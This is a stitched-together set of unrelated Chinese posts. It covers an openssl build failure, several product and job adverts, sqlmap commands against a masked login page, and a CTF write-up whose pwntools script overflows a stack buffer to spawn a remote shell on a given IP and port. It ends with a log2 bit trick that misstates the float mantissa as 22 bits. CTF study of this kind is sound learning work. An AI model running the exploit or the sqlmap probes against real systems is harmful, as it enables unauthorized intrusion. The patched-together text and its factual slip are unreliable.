标识符
483DAB9E-B587-4DAE-936C-201F5BC4BCBA
备注
Error Domain=kCFStreamErrorDomainSSL Code=-9806"(null)" UserInfo=/NSLocalizedRecoverySuggestion=Errorcode definition can be found in Apple's SecureTransport.h}
请求信息
CONNECT m.m******(手动打码).pt:443 HTTP/1.1
请求头部
Host: m.m*******.ptConnection: keep-alive
发送请求头部
未发送
服务端开始响应
未响应
请求完成2024/04/26 10:11:40.529
前些天一直在找便宜的云服务器,偶然间发现一免费的云平台,这里推荐给大家。
就是阿贝云,网站是https://www.abeiyun.com
说一下感受
1、阿贝云虽然是一小众的云平台,重在免费,该有的东西都有,还能免备案这是最舒服的。
2、使用了一天,上了项目,网速不慢。
3、唯一要指出来就是磁盘太小。
拉取了rustbuster的v3.0.3版本文件, 二进制文件无法使用, 执行结果如下:
[root_cn@archlinux target]$ ./rustbuster-v3.0.3-x86_64-unknown-linux-gnu
./rustbuster-v3.0.3-x86_64-unknown-linux-gnu: error while loading shared libraries: libssl.so.1.1: cannot open shared object file: No such file or directory
拉取了main源码, 想自行尝试编译, 然后卡在了openssl, 以下为报错信息:
The following warnings were emitted during compilation:
warning: openssl-sys@0.9.47: build/expando.c:4:24: error: pasting "RUST_VERSION_OPENSSL_" and "(" does not give a valid preprocessing token
warning: openssl-sys@0.9.47: 4 | #define VERSION2(n, v) RUST_VERSION_##n##_##v
warning: openssl-sys@0.9.47: | ^~~~~~~~~~~~~
warning: openssl-sys@0.9.47: build/expando.c:5:23: note: in expansion of macro ‘VERSION2’
warning: openssl-sys@0.9.47: 5 | #define VERSION(n, v) VERSION2(n, v)
warning: openssl-sys@0.9.47: | ^~~~~~~~
warning: openssl-sys@0.9.47: build/expando.c:10:1: note: in expansion of macro ‘VERSION’
warning: openssl-sys@0.9.47: 10 | VERSION(OPENSSL, OPENSSL_VERSION_NUMBER)
warning: openssl-sys@0.9.47: | ^~~~~~~
error: failed to run custom build command for `openssl-sys v0.9.47`
Caused by:
process didn't exit successfully: `/mnt/d/work/file/rust/rustbuster/target/debug/build/openssl-sys-c5a482a9e0e49574/build-script-main` (exit status: 101)
--- stdout
cargo:rustc-cfg=const_fn
cargo:rerun-if-env-changed=X86_64_UNKNOWN_LINUX_GNU_OPENSSL_LIB_DIR
X86_64_UNKNOWN_LINUX_GNU_OPENSSL_LIB_DIR unset
cargo:rerun-if-env-changed=OPENSSL_LIB_DIR
OPENSSL_LIB_DIR unset
cargo:rerun-if-env-changed=X86_64_UNKNOWN_LINUX_GNU_OPENSSL_INCLUDE_DIR
X86_64_UNKNOWN_LINUX_GNU_OPENSSL_INCLUDE_DIR unset
cargo:rerun-if-env-changed=OPENSSL_INCLUDE_DIR
OPENSSL_INCLUDE_DIR unset
cargo:rerun-if-env-changed=X86_64_UNKNOWN_LINUX_GNU_OPENSSL_DIR
X86_64_UNKNOWN_LINUX_GNU_OPENSSL_DIR unset
cargo:rerun-if-env-changed=OPENSSL_DIR
OPENSSL_DIR unset
cargo:rustc-link-lib=ssl
cargo:rustc-link-lib=crypto
OPT_LEVEL = Some("0")
TARGET = Some("x86_64-unknown-linux-gnu")
HOST = Some("x86_64-unknown-linux-gnu")
CC_x86_64-unknown-linux-gnu = None
CC_x86_64_unknown_linux_gnu = None
HOST_CC = None
CC = None
CFLAGS_x86_64-unknown-linux-gnu = None
CFLAGS_x86_64_unknown_linux_gnu = None
HOST_CFLAGS = None
CFLAGS = None
CRATE_CC_NO_DEFAULTS = None
DEBUG = Some("true")
CARGO_CFG_TARGET_FEATURE = Some("fxsr,sse,sse2")
running: "cc" "-O0" "-ffunction-sections" "-fdata-sections" "-fPIC" "-g" "-fno-omit-frame-pointer" "-m64" "-Wall" "-Wextra" "-E" "build/expando.c"
cargo:warning=build/expando.c:4:24: error: pasting "RUST_VERSION_OPENSSL_" and "(" does not give a valid preprocessing token
cargo:warning= 4 | #define VERSION2(n, v) RUST_VERSION_##n##_##v
cargo:warning= | ^~~~~~~~~~~~~
cargo:warning=build/expando.c:5:23: note: in expansion of macro ‘VERSION2’
cargo:warning= 5 | #define VERSION(n, v) VERSION2(n, v)
cargo:warning= | ^~~~~~~~
cargo:warning=build/expando.c:10:1: note: in expansion of macro ‘VERSION’
cargo:warning= 10 | VERSION(OPENSSL, OPENSSL_VERSION_NUMBER)
cargo:warning= | ^~~~~~~
exit status: 1
--- stderr
thread 'main' panicked at /home/root_cn/.cargo/registry/src/mirrors.sjtug.sjtu.edu.cn-4f7dbcce21e258a2/openssl-sys-0.9.47/build/main.rs:126:13:
Header expansion error:
Error { kind: ToolExecError, message: "Command \"cc\" \"-O0\" \"-ffunction-sections\" \"-fdata-sections\" \"-fPIC\" \"-g\" \"-fno-omit-frame-pointer\" \"-m64\" \"-Wall\" \"-Wextra\" \"-E\" \"build/expando.c\" with args \"cc\" did not execute successfully (status code exit status: 1)." }
Failed to find OpenSSL development headers.
You can try fixing this setting the `OPENSSL_DIR` environment variable
pointing to your OpenSSL installation or installing OpenSSL headers package
specific to your distribution:
# On Ubuntu
sudo apt-get install libssl-dev
# On Arch Linux
sudo pacman -S openssl
# On Fedora
sudo dnf install openssl-devel
See rust-openssl README for more information:
https://github.com/sfackler/rust-openssl#linux
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
warning: build failed, waiting for other jobs to finish...
经过检查openssl与rust均为最新版本,
[root_cn@archlinux target]$ sudo pacman -S rust
[sudo] password for root_cn:
warning: rust-1:1.77.2-1 is up to date -- reinstalling
resolving dependencies...
looking for conflicting packages...
Package (1) Old Version New Version Net Change
extra/rust 1:1.77.2-1 1:1.77.2-1 0.00 MiB
Total Installed Size: 249.41 MiB
Net Upgrade Size: 0.00 MiB
:: Proceed with installation? [Y/n] n
[root_cn@archlinux target]$ sudo pacman -S openssl
warning: openssl-3.2.1-1 is up to date -- reinstalling
resolving dependencies...
looking for conflicting packages...
Package (1) Old Version New Version Net Change
core/openssl 3.2.1-1 3.2.1-1 0.00 MiB
Total Installed Size: 11.45 MiB
Net Upgrade Size: 0.00 MiB
:: Proceed with installation? [Y/n] n
在网上找了一下, 查到资料, 在rust-openssl的issues中提到类似报错, 得到解释如下:
If you are cross compiling to MUSL, you either need to point openssl-sys to the location that you have a copy of OpenSSL cross compiled to MUSL, or tell it to build a copy of OpenSSL itself with the vendored feature.
如果你是交叉编译到MUSL,你需要将openssl-sys指向你有一个交叉编译到MUSL的OpenSSL副本的位置,或者告诉它用vendored特性构建一个OpenSSL本身的副本。
由于不会rust, 依靠关键词"交叉编译"+"cargo"搜索到了cargo交叉编译rust程序, 顺着找到文件:
[root_cn@archlinux .cargo]$ cat ~/.cargo/config
[source.crates-io]
replace-with = 'sjtu' # 指定使用下面哪个源,修改为source.后面的内容即可
# 中国科学技术大学
[source.ustc]
registry = "https://mirrors.ustc.edu.cn/crates.io-index"
# 上海交通大学
[source.sjtu]
registry = "https://mirrors.sjtug.sjtu.edu.cn/git/crates.io-index/"
# 清华大学
[source.tuna]
registry = "https://mirrors.tuna.tsinghua.edu.cn/git/crates.io-index.git"
# rustcc社区
[source.rustcc]
registry = "https://code.aliyun.com/rustcc/crates.io-index.git"
没有找到交叉编译的设置, 由于本人不会rust, 线索断了, 尝试向大家寻求一波帮助, 非常感谢阅读.
南京大学数字金融 - 新华报业集团联合诚邀全职博士后!
【研究方向涵盖】
数智传播、数智金融经济、数据金融经济、数智政务、数智监管治理,以及“大数据、大模型、大计算”全新范式等方向理论与实践
【具体研究领域】
包括 Bigdata4SocialScience、AI4SocialScience、LLM4SocialScience、Blockchain4SocialScience,以及先进信息技术融合创新在数智金融经济、数智传播社会、数智健康医疗、数智政务治理中的应用。
【薪资待遇优渥】
年薪可达 30 万人民币左右,另有绩效奖金及江苏省和南京市人才补贴。具体薪资需与HR面议,总收入依据专业背景和技能经验而定(计算机 AI 背景者薪资更优)。
【欢迎学科交叉、专业背景不限】
不限制专业背景,致力于构建一个多元、开放、包容的科研环境,因此,欢迎计算机、软件、大数据、人工智能、区块链、隐私计算、数据安全、数据科学等背景的博士人才,也热切邀请具有人文社科背景的博士加入我们的团队,共同探索信息技术与社会科学的交叉前沿。也欢迎其他编程能力强的理工科博士毕业生(即使没有AI等背景也欢迎)。
【南京大学研究中心】
南京大学研究中心为双院士领军的校级科研和创新平台,详情请见:fintech.nju.edu.cn。
【团队氛围】
学科交叉、理论与实践相结合、国际化视野、行业前沿视角和项目。
【联系我们】
请感兴趣的朋友将个人简历发送至邮箱:blockchainfintech@126.com。
【更多招募】 南京大学研究中心招收硕士生、博士生、博士后、青年教师、研究员,也欢迎访问、客座、联培以及科研助理(有些岗位可兼职或远程合作)等
欢迎加入我们,您将在这个富有挑战性和机遇的环境中,开启广阔的职业发展道路,实现个人价值与学术梦想的双赢!
期待您的加入,携手共创数智未来!
sqlmap -u "xxxxx.com/#/login" --all --delay 1 --batch --random-agent
[CRITICAL]can't establish SSL connection.
sqlmap -r win.txt --dbs
**
[CRITICAL] anti-CSRF token 'XSRF-TOKEN' can't be found
**
在数字时代,我们的浏览器收藏夹,就如同一个宝库,里面藏着我们曾经因兴趣、工作或学习而保留的无数网站链接。小舒同学,一个浏览器新标签页扩展,帮助您高效地管理这些珍贵的在线资源。通过整洁、直观的界面和强大的功能,通过小舒同学这款强大的浏览器扩展,让您的收藏夹焕发新生。
一键展示管理收藏夹
不需要反复整理和搜索您的主页,小舒同学提供了一种轻松的方法来展示和管理您的收藏夹。通过在新标签页中,将书签以清晰的图形方式呈现,帮助您聚焦真正重要的事情。无论是微软的 Edge、Google 的 Chrome,还是 Mozilla 的 Firefox,都可以实现一步直观整洁地展示管理您的网络财富。
随时随地的同步空间
小舒同学的同步空间可以让您轻松同步收藏夹,通过同步空间功能,不管您是在工作场合的电脑还是在家里的设备,都可以轻松连接,访问您全部的收藏内容。您的内容将被安全地存储与同步,确保您可以在任何时间访问。网络世界的一切都将由您连接统一,不仅能启动哔哩哔哩,更能直接访问您关注的具体内容。
直观且舒适的重组织
小舒同学以流畅和直观的用户体验,帮您重新组织您的在线生活。我们专注于舒适的交互设计,将您的收藏夹以一种对您有意义的方式进行组织。
小舒同学提供各式各样的卡片形式和布局,让您可以完全按照自己的喜好进行自定义。您可以创建个性化的卡片组合,以满足您的独特需求。
严格隐私保护
小舒同学重视用户的隐私保护,拒绝记录和上传用户数据。在不使用同步空间的情况下,您的收藏夹数据也只在浏览器本地数据中,确保隐私数据的私密性。依托于 Manifest V3,小舒同学严格控制所需权限,保证只加载本地代码,保护用户的安全与私密。
定制个性化新标签页
小舒同学的自由度极高,可以按照用户的喜好进行多种个性化设置。您可以更换壁纸、主题、主题色,甚至可以用自定义 CSS 美化您的标签页。拥有如此高度自定义的新标签页,您的浏览器将成为真正属于您的个性空间。
小舒同学不仅仅是一个简单的收藏夹工具,它改变了我们与网络信息的互动方式,提供了一个更高效、更有组织性的网络生活体验。减少了无谓的折腾,让每一次收藏都变得值得,让每一次浏览都充满发现的喜悦。现在,尝试小舒同学,让您的收藏夹变成您的独特网络资产,发挥它们真正的潜力吧。
校队没人打pwn, 没办法自己看能学多少算多少.
文件信息审计
拿到pwn2与libc.so.6文件, 先使用file
与checksec
获取文件信息:
[root_cn@archlinux pwnstack]$ file pwn2
pwn2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=62aa40d64871e142a32827b4e403772e72f67fba, not stripped
由ELF 64-bit
得知属于64位程序.
[root_cn@archlinux pwnstack]$ checksec --file=pwn2
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 76 Symbols No 0 1 pwn2
检查文件开启了NX(数据执行保护), PIE(代码地址随机化)保护, 但是存在No canary found
, 即Canary(栈溢出保护)未开启, 故可以从栈下手, 符合题意.
反编译
使用retdec进行反编译, 拿到pwn2.c文件与pwn2.dsm文件, 其中存在代码如下:
[root_cn@archlinux pwn]$ cat pwn2.c | head -n 46 | tail -n +39
// Address range: 0x40071b - 0x400762
int64_t vuln(void) {
// 0x40071b
int64_t buf; // bp-168, 0x40071b地址
__asm_rep_stosq_memset((char *)&buf, 0, 20); //初始化buf, 设置为0
read(0, &buf, 177);
return 0;
}
可以看到vuln函数中read
读取177个字节, buf
变量(int64_t)在地址0x40071b处为0xa0, 转十进制即为160, 小于可读取字节, 存在溢出漏洞, 其中buf的大小可以通过汇编语言定位到相应地址进行查询:
[root_cn@archlinux pwn]$ cat pwn2.dsm | head -n 161 | tail -n +158
; function: vuln at 0x40071b -- 0x400762
0x40071b: 55 push rbp
0x40071c: 48 89 e5 mov rbp, rsp
0x40071f: 48 81 ec a0 00 00 00 sub rsp, 0xa0
继续在汇编中可以找到未出现在程序的backdoor函数:
; function: backdoor at 0x400762 -- 0x400778
0x400762: 55 push rbp ; 当前函数地址的寄存器rbp压栈
0x400763: 48 89 e5 mov rbp, rsp ; 栈指针rsp指向栈顶
0x400766: bf 38 08 40 00 mov edi, 0x400838 ; "/bin/sh"
0x40076b: b8 00 00 00 00 mov eax, 0 ; 加法寄存器eax初始化为0
0x400770: e8 fb fd ff ff call 0x400570 <system>
0x400775: 90 nop ;
0x400776: 5d pop rbp ; 弹出rbp栈
0x400777: c3 ret ; 返回主函数
看到"/bin/sh"
与<system>
可知函数已经写入了控制权限, 明显地, 本题为最基本的ret2text类题型.
ret2text
ret2text为最简单的栈溢出利用:
-
通过栈溢出可以修改call指令保存在栈上的返回地址(指令指针eip的值)
-
函数以ret声明结束后将eip指向栈顶, 回到主函数
-
这时可通过栈溢出篡改栈上的指针
-
新的值代替程序继续执行
-
通过一定地构造可以控制程序流
个人理解, 不一定对.
目的与EXP
-
接下来只需要先输入160个字节填满
buf
-
然后可以使用pwndbg打断点:
[root_cn@archlinux pwn]$ gdb pwn2
pwndbg> b *0x40071b
pwndbg> r
pwndbg> s
......
不断运行到栈上的值为 0x7fffffffe648 <- 0xa /* '\n' */
, 这时候上面的栈为0x7fffffffe648 <- 0x1
, 相差8位(大家是不是想起了什么? retdec编译出来时有注释过//bp-168
).
-
故先写入168(160填满
buf
变量, 8填充到上一个栈, 应该是这个意思)个字节使指针指向栈顶. -
写入backdoor地址.
以下是EXP工具:
from pwn import *
context.log_level = 'debug'
#io = process("./pwn2")
IP = "61.147.171.105"
port = 60233
io = remote(IP, port)
elf = ELF("./pwn2")
libc = ELF("./libc.so.6")
bp = b'a'*168
backdoor_addr = p64(0x400762)
#64位数字使用p64,32位数字使用p32
io.recv()
io.sendline(bp + backdoor_addr)
io.interactive()
分享一下我的独立开发产品:简单设计
https://www.jiandan.link
这是一款免费的在线设计工具,图片处理工具,包含封面图片设计,图片压缩、图片裁剪、图片格式转换等功能,良心好用,普通人的设计神器。
产品是用JS写的;
如果你经常需要做图或者处理图片的话,希望这款软件可以帮到你。
大家有什么意见也可以反馈给我噢~
我的邮箱:ove2022@126.com
相关文章我以前也发过一次,但是那种写法显然不够简洁,今天意外又发现了一种:
int log_2(int x) {
float f = x;
return (*(int*)&f >> 23) - 0x7f;
}
benchmark下来跟以前那种差距不大,下面简单描述一下原理:
根据 IEEE 754,float
类型在内存中占32bit
,依次存储1bit
符号位、8bit
阶码和22bit
尾数。这里阶码就是我们所需要的,另外既然取以2为底的对数那么真数必然非负,所以符号位可以不考虑,只要进行一次移位操作就可以得到阶码,根据标准阶码减去0x7f
就是我们所需。
另外,上面的代码中来回用指针的目的只是把float
类型的数据一个比特不动地强制转换到int
,如果你认为其不优雅,可以使用以下c++20
中新加入的内容实现:
#include <bit>
int log_2(int x) {
float f = x;
return (std::bit_cast<int>(f) >> 23) - 127;
}